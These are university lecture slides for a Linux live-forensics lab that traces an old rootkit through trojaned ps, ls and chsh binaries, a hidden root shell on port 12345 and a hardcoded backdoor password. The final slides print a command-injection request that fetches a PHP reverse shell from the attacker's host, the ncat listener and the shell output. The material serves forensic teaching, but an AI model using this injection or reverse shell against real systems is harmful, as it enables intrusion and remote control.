Post on 10-Apr-2019
Michael Sonntag
Institute of Networks and Security
Johannes Kepler University Linz, Austria
michael.sonntag@ins.jku.at
Live-Forensik: Rootkit
1
2
Scenario
Investigating an image of a Linux system (CentOS 6.5) infected by a rootkit
We will use live acquisition of data to gather information on this system
— Simulated, i.e. we will produce a local file with the output
• In reality this should be sent by netcat (nc) to a different computer to prevent
modifications of the system under investigation!
We will use various techniques to identify the problem
The virtual machine is a VMWare image
— Can also be opened in Virtualbox
Under /mnt/cdrom there is the script “investigate.sh”
— You can run it (“/mnt/cdrom/investigate.sh >report.txt”)
But we are going to do the same (and some elements more) manually!
4
ATTENTION!
This is part of a real rootkit, however it has been slightly modified
It is part of a very old rootkit, so it is not that good/well hidden and very limited
— Note the differences in output compared to the “real” binaries!
— It has certain limitations which renders it relatively useless on modern systems
BUT:
— It is still a real rootkit
— The source code is NOT available in the image (often it would have been compiled
there, so it might still exist, perhaps only in parts of deleted files)
— The binaries may NEVER be used anywhere else!
This is SOLELY for EDUCATIONAL USE!
5
Elements of good toolkits for live forensics
Minimize system impact
— Don’t copy anything to the disk, binaries as small as possible
Enforce the use of known binaries only
— Make sure that no library from the system investigated is used
Extensive logging and checksums
— Ensuring that no later modification can occur and that verification is possible
No drivers needed for installing ( CD-ROM better than USB!)
— Can be difficult Depends on the system investigated
• If very well secured, this might be difficult (IDS tries to prevent exactly this!)
Copies data directly to another system ( Network/Share or USB)
Not possible: No statically compiled files (too complicated);
use files on CD-ROM image for investigation
Local file (too complicated; see additional scripts for redirection example)
(apart from local log file)
6
Basic information on the image
CentOS 6.5 (=RedHat Enterprise Linux 6.5)
— Basic installation: Minimum GUI, no special applications installed (except
HTTPD/PHP/MYSQL); many things disabled
Two users are available:
— Username “user”, Password “forensics” (Normal user, no special permissions)
— Username “root”, Password “forensics” (Administrator)
• Use this for investigation: many commands won’t work/show anything otherwise!
Keyboard: German
Investigative tools: /mnt/cdrom/bin (needs to be mounted first!)
— Perhaps useful: “export PATH=/mnt/cdrom/bin” to ensure to run only “our” programs
• Note: Libraries will still be loaded from system; the tools are not statically compiled!
The image will be distributed in the class on DVDs/memory stick!
7
Importing the image
Import the image from the DVD / Memory stick / download directory
This image is the “original” system
The forensic tools (not statically compiled; see previous slide) are located on an
“external” “CD-ROM”: Forensics-CD.vdi
Necessary process:
— Import the virtual machine
— Configure the virtual machine to use the
CD image as the second HD (see →)
— Create snapshot (getting back to start)
— Start the virtual machine
— Mount the CD image (as root only!):
“mount /dev/sdb1 /mnt/cdrom -o ro”
8
What we are not investigating here
Copying RAM content
— Difficult to do, investigation is very difficult and out of scope here!
DNS cache
— Not interesting here; problematic because of fixed file location
No recovering deleted files still in use
— The rootkit doesn't use such files
9
Basic information
Generally: Try both commands - from “/mnt/cdrom/bin” as well as from the
system - and compare both results!
Date & time: “date”, “date –u”
— Documenting the start of the investigation (incl. timezone)
System: “hostname”, “uname –a”, “whoami”, “id”
— Where are we? What kind of system is this? Who are we? (Last two not on "CD"!)
Patch level: “rpm –qa”
— Normally very late, as this is unlikely to change during the investigation!
Uptime, logged in users: “w”, “who”
— Are we alone (logins form network!)?
Last logged in users: “last –a –i”
— Including from where they logged in (here not interesting, but in general useful!)
10
Package check
“rpm –Va” will compare all installed files against the packages
— Allows checking whether something has been changed
• Especially regarding the configuration
— Will NOT find any added files (e.g. configuration)!
— Attention: Comparison is against package metadata in local rpm database!
Comparison:
— Size (S), MD5 hash (5)
— Timestamps (T)
— Permissions and type (M)
— Owner (U) and group (G)
— Link (L), Device type (D)
We skip it here; VM+Laptop
takes too long …
Preview of things
to come – you
might recognize
elements later!
11
IP/firewall information
IP addresses: "ip addr"
— Nothing special: localhost, IPv4 connection
IP devices: "ip link" & IP tunnels: "ip tunnel" show the same information as above
— Take note of IP address/subnet Might be necessary for "nc" (not used here)!
Firewall configuration (iptables = standard on Linux)
— "iptables-save":
• Outgoing: No restrictions
• Input and forwarding: A few default rules
• Allowed: Local connections, ICMP (=pinging+…), Port 22 (SSH), Port 80
(Webserver)
• Note: Scenario error - The default policies should be “DROP”!
12
Network information
ARP cache: “ip neigh show”
— Useless here, as this system probably hasn’t connected anywhere
• Note: Updates, software installation … might show some other systems
• Depends also on the kind of network integration of the virtualization environment
Routing table: “ip route show table all”
— Current routes (here not very interesting; includes IPv6 routes although disabled!)
Routing cache: “ip route show cached”
— Previous routes (here not very interesting)
13
Process information
Processes: “ps aux”
— Please take care: Which “ps” are your executing?
• “/mnt/cdrom/bin/ps” or “/bin/ps” ?
— Try both and compare them: What is strange?
• Visual differences? Yes!
• Content differences? Difficult because of the visual differences
• We will come back to this later!
• Count lines: “ps aux | wc –l” and “/mnt/cdrom/bin/ps aux | wc –l”
• But: Perhaps the problem is not “ps” but “wc”? We don’t know yet!
• Which wc did you use ?
• Try “/mnt/cdrom/bin/ps aux | /mnt/cdrom/bin/wc –l”
Anyway, we have found the first strange result!
14
Processes/ports (1)
Listening: “netstat –an |more”
— Several ports are open for listening:
• UDP Port 68: BootP/DHCP (Waiting for info from DHCP server)
• Does seem normal (depends on configuration!)
• “cat /etc/sysconfig/network-scripts/ifcfg-eth0” DHCP is really used/on
• TCP Port 22: SSH server Very common to be open on most systems!
• Especially on commandline systems (otherwise: only console or telnet!)
• Is a SSH server running? “ps aux | grep ssh”
• Yes: /usr/sbin/sshd
• Is this a “real” SSH server (or trojaned Logging entered passwords)?
Who knows, we would have to investigate more and in detail!
• TCP ports 80 (webserver), 3306 (MySQL) Check if installed!
• One high port: Clock applet in Gnome
15
Processes/ports (2)
Also open: Port 12345
— This is a rather strange port: It is above 1024 and so should be a normal application
• But no such application seems to be running?
— What does Google say about port 12345?
• Legitimate: NetBus remote administration tool for Windows
• Often used for trojans, …
— This looks very suspicious!
But: We cannot get any more information out of this listing
— So we keep it in memory and try to find out more!
• Or use "netstat –anp"!
• HTTP Server; but different process ID than the one on port 80
http://www.speedguide.net/port.php?port=12345
16
Open files/ports/…
Showing all kinds of handles: “lsof –nP”
— Attention: Very long output!
So let’ focus a bit: “lsof –nP | grep 12345”
— So this is the HTTP server running there! That looks a bit strange ….
— Check whether such a server is really installed (init scripts/rpm are good starts!)
What else is going on there: “lsof –nP | grep httpd | more”
— Three servers, two running as “root”, the other as “apache”
— The first is running from the executable ”/usr/bin/httpd” and uses solely the C library
(plus the linux loader); the other from “/usr/sbin/httpd” and use a huge list of modules
— First doesn’t have any other files open (try repeatedly) beside StdIn/StdOut/StdErr
— The first one looks “fishy”, the second normal
17
Remote shell
Try telneting there: “telnet localhost 12345” and “GET / HTTP/1.0<Ret>”
— Doesn’t seem to be a webserver …
— Try “ls –al;”
This is a remote shell: If you can telnet there (firewalls!), you can issue any
command, which will be executed as root (who? Try “whoami;”!)
— Note: Must be terminated by “;”, always returns an error message (low quality SW!)
— Exiting the shell: “exit;”
This is the first part of the rootkit!
Try at home: Find out how it is started on boot
— Hint: Check all kinds of init scripts!
Note: Would this really be a problem here (=reachable from outside)?
— Hint: See slides before ("iptables-save"!)
18
Back to ps
Does “ps” show this program?
— “ps aux | grep httpd” No, but it should (at least the other HTTP server!)
Does “/mnt/cdrom/bin/ps” show this program?
— Yes it does (both/all three)!
Result: “/bin/ps” doesn’t work quite all right, it probably was modified (“trojaned”)
— We know that we cannot trust its output any more!
19
Checking file date/time
We know the file “/bin/ps” has been modified - Can we find out the date/time?
Date/times of a file: “stat /bin/ps” (Access omitted from output; always “now”)
— Modify: 15.11.2012 14:53 (compilation date)
— Change: 28.05.2014 17:59 (when the system was installed)
Compare this to the original date/times
• How would we get at this? Install a “new” one in a virtual machine and check!
— Modify: 15.11.2012 14:53
— Change: 28.5.2014 17:59
Result: Same timestamps
— The rootkit installation program changes them to the same values as the original file!
But: /usr/bin/httpd did not exist (there)! So what are the timestamps there?
— 4.11.2011 13:59 Probably the date of the rootkit installation
20
Other information (OS, file system …)
Kernel modules: “lsmod” and packages “rpm –qa”
— Not very interesting here
Mounted file systems: “mount –l”
— Nothing mounted here apart from the system ones
Free space: “df –k”
— Not interesting here
Scheduled jobs: “atq” Nothing to show here
System load: “top –bn 1”
— Note: The “httpd” server is shown here The rootkit doesn’t modify this commands
output!
21
Checking the date of the intrusion
Whet else happened on the system on 4.11.2011 13:59?
One possibility:
/mnt/cdrom/bin/find / -printf “%p;%Cx;%CT\n” | grep “11/04/2011;13:”
— Why not the exact date? We don’t know whether this was the first or last action!
— Too many results we can still narrow it down!
Also changed at about that time (apart from the directories they are in):
— /usr/bin/httpd: We already know them!
— /etc/rc.d/rc.local: That’s new! Find out for yourself what file this is …
— Directory “/rk” + some files in it
• We will come to this again later!
— Some error messages (proc filesystem)
22
/bin/ls: Hidden files
Compare the output from our “find” commando to “ls” for the root directory
— In practice this would be done by producing a full dump and automatic comparison
• “Our” find and the one from the system itself
— Here just use “ls -al /” and “find / -maxdepth 1”
Result: “ls” has been “hacked” as it hides a directory otherwise existing!
— Compare to previous slide – the suspicion there has been confirmed!
There exists the directory “/rk” which shows up in “find” but not in “ls”
— Check out its contents!
23
Rootkit files
Now we find a different date: 3.11.2011 16:40
— This could have been the time of the initial intrusion
— What happened around this time?
• Check similar as before!
Check out the individual files
— Find out what “fix” is for!
• Try “strings fix” for a first view
— Try to identify the content of the “backup” folder
— What is “ptyp” and “ptyr” there for?
• What can we learn from its content?
• These are extremely important files: They show what is hidden!
24
What is “chsh”?
Command to change the current/login shell
— SetUID, modifies /etc/passwd Very high permissions anyway
— Main reason for trojans: If you get in as some user, you can become root through this
• Drawback: You need the root password (NOT in trojaned versions!)
This version has been modified, but how?
— Try “strings chsh |more” Can you see anything interesting?
— No, the interesting parts (i.e. the “secret password”) has been hidden
• Not that well, but good enough for this simple approach
— Try the password (see next slide or the file README) – how is it to be used?
• Enter it instead of a shell name and you receive a root shell
• So to really test it, log in as “user”, check your rights with the command “id”,
“change” your shell, and check your rights again!
25
Rootkit password – Source code
/* ROOTKIT_PASSWORD must be 6 letters due to my lame attempts at string hiding... */
#define ROOTKIT_PASSWORD "rkdemo"
char MAG[6];
strcpy(MAG,"");
MAG[0]=ROOTKIT_PASSWORD[0]; MAG[1]=ROOTKIT_PASSWORD[1];
MAG[2]=ROOTKIT_PASSWORD[2]; MAG[3]=ROOTKIT_PASSWORD[3];
MAG[4]=ROOTKIT_PASSWORD[4]; MAG[5]=ROOTKIT_PASSWORD[5];
MAG[6]='\0';
Password is stored in executable as separate characters
— If you know this, you can see it clearly in the output of “strings chsh” as well!
Practice: Deassembly/Decompilation or Debugging
26
Conclusions (1)
Generally the investigation would be more difficult,
— especially for files:
• Using external tools and producing a log
• Using the internal tools and producing a log
• Comparing those files in a spreadsheet/diff/…
• Find out date/time of files at the time of intrusion (if known …)
— and binaries:
• Install a “new” version in a virtual machine
• Bring it to exactly the same patch level/software
• Compare md5 values of files in both VMs to find out which ones were modified
• Reinstall might be easier!
27
Conclusions (2)
What we didn’t find out:
— How the intrusion took place
• When it took place We have only some hints, but which are quite good
• See slides afterwards for some hints on this!
— What the attacker was after (but: no interesting content here anyway )
— Complete list of changes: Have we really found everything?
• Probably yes, but some parts might also have been hidden better!
Michael Sonntag
Institute of Networks and Security
Johannes Kepler University Linz, Austria
michael.sonntag@ins.jku.at
Thank you for your attention!
28
30
Intrusion
There exists a web vulnerability in /var/www/html/bsp5/download.php
— Which is a helper file for streaming data (=a file) to a client
Through this the user (up/down)loaded a file to the server: help.php
— wget <IP of attacked system>/bsp5/download.php?command=c;$(/usr/bin/wget
http://<IP of attacking system>/help.php)
• Note: “$(“ and “)” are necessary, or wget + URL will be seen as a single
command, which can obviously not be found as a file!
— This is a reverse shell (=connect back out)
• Listening on the attacking computer: ncat –v –n –l –p 2222
• Requesting the following URL will trigger it:
http://<IP of attacked system>/bsp5/help.php?ip=<IP of attacking system>
— Through this shell the rest of the attacks could easily have been downloaded,
unpacked, installed etc!
31
Intrusion
Notes for testing:
— Disable windows firewall this is an incoming connection!
— Host-Only network example: PC=192.168.56.101, VM=192.168.56.102
— Requires a web server on the PC with the help.php file for downloading
— URL “retrieved”: http://192.168.56.102/bsp5/help.php?ip=192.168.56.101
Result: — Y:\>ncat -vv -n -l -p 2222
— Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
— Ncat: Listening on 0.0.0.0:2222
— Ncat: Connection from 192.168.56.102:34742.
— Linux forensics 2.6.32-431.17.1.el6.i686 #1 SMP Wed May 7 20:52:21 UTC 2014 i686
— i686 i386 GNU/Linux
— 13:31:08 up 1:52, 3 users, load average: 6.64, 6.51, 4.66
— USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
— user tty1 :0 12:33 1:52m 13.78s 0.02s pam: gdm-passwo
— user pts/0 :0.0 12:56 2:13 20:07 2.42s gnome-terminal
— user pts/1 :0.0 13:06 7:31 0.03s 2.42s gnome-terminal
— uid=48(apache) gid=48(apache) groups=48(apache)
— sh: no job control in this shell
— ←[?1034hsh-4.1$
32
Intrusion
Detection of the intrusion:
— Web log /var/log/httpd/access_log:
• 127.0.0.1 - - [03/Nov/2011:16:30:03 +0200] "GET
/bsp5/download.php?command=c HTTP/1.0" 200 - "-" "Wget/1.12 (linux-gnu)"
• Note: The second part of the command (after “;”) is not logged!
• 127.0.0.1 - - [03/Nov/2011:16:39:15 +0200] "GET
/bsp5/help.php?ip=192.168.56.101 HTTP/1.0" 200 84 "-" "Wget/1.12 (linux-gnu
• Note: Here we get the IP address of the attacker!
— If the attacker had deleted these, it would have been impossible to find
• Apart from detecting the vulnerability or finding the file “help.php”
Still missing: Escalation of how to get from “apache” to “root” to be able to install
the rootkit!